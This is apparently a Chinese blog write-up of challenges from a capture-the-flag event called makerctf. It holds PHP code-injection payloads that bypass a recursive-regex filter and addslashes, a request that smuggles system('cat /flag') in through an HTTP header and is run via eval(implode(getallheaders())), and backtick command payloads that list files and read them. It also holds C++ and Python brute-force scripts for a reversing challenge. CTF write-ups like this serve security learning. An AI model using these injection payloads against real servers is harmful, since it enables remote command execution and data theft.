makerctf

抛开一切,讲讲两道巧妙的web题目

(?R)递归正则的绕过

  • 可以在https://ctftime.org/writeup/10150找到思路
  • implode函数:implode把数组整合成一个字符串,此处把请求头数组整合成一个字符串
  • getallheaders()获取请求头,由此构造执行参数。
    我们在第一个请求头后面添加注释,这样执行的时候就可以绕过了。这里注意的是,代码中只是检查了请求参数,并没有检查请求头,这样给我们造成了利用的空间。
GET /w1nd_web1.php?magic=eval(implode(getallheaders()));/*hello%20w1nd*/ HTTP/1.1
eval: system('cat /flag');//

easy_eval


打开看到有addslashes函数,查找函数说明可知,会对单双引号加上反斜杠转义。

  • 我们这里用过```符号执行内部命令。(Linux中的用法)
  • 如果直接函数加(会被正则检查到,可以用注释/**/的方式绕过。
  • Eval中直接给变量赋值没办法执行命令,我们可以通过${}先运算大括号里面的内容
    首先构造
cmd=${var_dump/**/(`ls`)} 

查看目录文件

cmd=${var_dump/**/(`cat flag.php`)}

查看flag

其他

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include "pch.h"
#include <iostream>
#include<stdio.h>
#include<ctype.h>
#include<conio.h>
#include<stdlib.h>
#include<conio.h>
#include <string.h>
#include <vector>
#include<windows.h>
using namespace std;
char Dst[100] = { 0 };
char Dst_Str[] = "vDi/gDh3]s:pEtjq:6EB9qjq9[be9-8~)*i(";
void work(char*source_Str) {
    //char source_Str[] = "";
    char middle_str[] = "@,.1fjsz^+{5bkrA&=}6a8D9E:gv)]ux$~\"3dity%_;w#`/2ehlqB*-[70mpC(4c";
    int source_index = 0;
    int dst_index = 0;
    int len_str = strlen(source_Str);
    if (len_str!=3)
    {
        cout << "LEN_SOUTCE_ERROR!\n";
        system("pause");
    }
    int dst_index_add_3_out, dst_index_add_1, dst_index_add_2, dst_index_add_3;
    unsigned int v7, v3, v8;
    //while (source_index < len_str)
    {
        *(byte  *)(Dst + dst_index) = middle_str[(*(byte *)(source_index + source_Str) >> 2) & 0x3F];
        dst_index_add_1 = dst_index + 1;
        v7 = 16 * (*(byte  *)(source_index + source_Str)) & 0x30;
        if (source_index + 1 >= len_str)
        {
            *(byte  *)(Dst + dst_index_add_1) = middle_str[v7];
            v3 = dst_index_add_1 + 1;
            *(byte  *)(Dst + v3++) = 77;
            *(byte  *)(Dst + v3) = 77;
            dst_index = v3 + 1;
            goto Out_label; //break;
        }
        *(byte  *)(Dst + dst_index_add_1) = middle_str[(*(byte  *)(source_Str + source_index + 1) >> 4) & 0xF | v7];
        dst_index_add_2 = dst_index_add_1 + 1;
        v8 = 4 * *(byte  *)(source_Str + source_index + 1) & 0x3C;
        if (source_index + 2 >= len_str)
        {
            *(byte  *)(Dst + dst_index_add_2) = middle_str[v8];
            dst_index_add_3 = dst_index_add_2 + 1;
            *(byte  *)(Dst + dst_index_add_3) = 77;
            dst_index = dst_index_add_3 + 1;
            goto Out_label;//break;
        }
        *(byte  *)(Dst + dst_index_add_2) = middle_str[(*(byte  *)(source_Str + source_index + 2) >> 6) & 3 | v8];
        dst_index_add_3_out = dst_index_add_2 + 1;
        *(byte  *)(Dst + dst_index_add_3_out) = middle_str[*(byte  *)(source_Str + source_index + 2) & 0x3F];
        dst_index = dst_index_add_3_out + 1;
        source_index += 3;
    }
Out_label:
    *(byte  *)(dst_index + Dst) = 0;
}

int main() {
    char tmp[4]={0};
    //work(tmp);
    //printf("%s", Dst);
    cout << "begin" << endl;
    //system("pause");
    for (int t = 0; t < (strlen(Dst_Str)); t+=4) {//strlen(Dst_Str)
        cout << t << endl;
        for (int i = 1; i <= 125; i++)
            for (int j = 1; j <= 125; j++)
                for (int z = 1; z <= 125; z++){
                        memset(Dst, 0, sizeof(Dst));
                        memset(tmp, 0, sizeof(tmp));
                        tmp[0] = i;
                        tmp[1] = j;
                        tmp[2] = z;
                        tmp[3] = 0;
                        work(tmp);
                        if (!strncmp(Dst, Dst_Str+t, 4))
                        {
                            //cout << "Input: " << tmp << " Output: " << Dst << endl;
                            printf("Input: %s Output: %s\n", tmp, Dst);
                        }
                    }
    
    }
}
a=[
0x61, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00,
0x74, 0x00, 0x00, 0x00, 0x4D, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x2D, 0x00, 0x00, 0x00,
0x7E, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00,
0x2A, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00,
0x32, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00,
0x3B, 0x00, 0x00, 0x00, 0x92, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
0x37, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00,
0x85, 0x00, 0x00, 0x00, 0x94, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00
]
t=[]
n=[]
s1=""
middle1='''@,.1fjsz^+{5bkrA&=}6a8D9E:gv)]ux$~"3dity%_;w#`/2ehlqB*-[70mpC(4c'''
middle2=[23, 43, 54, 124, 23, 12, 4, 21, 43, 21, 13, 87, 65, 45, 32, 56, 32, 64, 24, 25, 39, 67, 44, 43, 26, 34, 67, 45, 34, 23, 54, 65, 76, 89, 76, 56]
#m="@,.1fjsz^+{5bkrA&=}6a8D9E:gv)]ux$~\"3dity%_;w#`/2ehlqB*-[70mpC(4c"
for i in a:
    if int(i)!=0:
        t.append(int(i))
#print t
for i in range(0,len(middle2)):
    t[i]-=i
    t[i]^=middle2[i]
    s1+=chr(t[i])
print s1
for i in s1:
    for j in range(0,len(middle1)):
        if middle1[j]==i:
            n.append(j)
            break
print n
print len(n)
print len(t)
#print n

https://ctftime.org/writeup/10150

GET /w1nd_web1.php?magic=eval(implode(getallheaders()));/*hello%20w1nd*/ HTTP/1.1
cmd: system('cat /flag');//
Host: 62.234.153.161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 210,914评论 6 490
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 89,935评论 2 383
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,531评论 0 345
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,309评论 1 282
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,381评论 5 384
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,730评论 1 289
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,882评论 3 404
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,643评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,095评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,448评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,566评论 1 339
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,253评论 4 328
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,829评论 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,715评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,945评论 1 264
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,248评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,440评论 2 348

推荐阅读更多精彩内容

  • 风爱上了一个女孩。 他每天都会光顾女孩的房间,吹进窗台,吹起柔软的窗帘,温...
    燕落亭阅读 270评论 0 0
  • 原文:JavaScript-A First-Class Language At Last作者:Tom Golden...
    LeviDing阅读 1,315评论 0 4
  • 2019年春天了,对于大四的我来说,这大概是个无比煎熬的春天。从来不爱哭的我这些天已经数不清多少次落泪了,甚至于在...
    咩咩_594b阅读 372评论 0 1
  • 情,是什么? 爱,又是什么? 慢慢发现,我已越来越爱她。会生气,会吃醋。会想一直吻她,会想一直抱她。 她累了,我看...
    绅_ca95阅读 95评论 0 1
  • 每当写不下去的时候一定要坚持的把自己的初衷再看一次,不让自己松懈,不轻易放弃,微小的目标都达不到,怎么养成好的习惯...
    漫步非烟阅读 150评论 0 0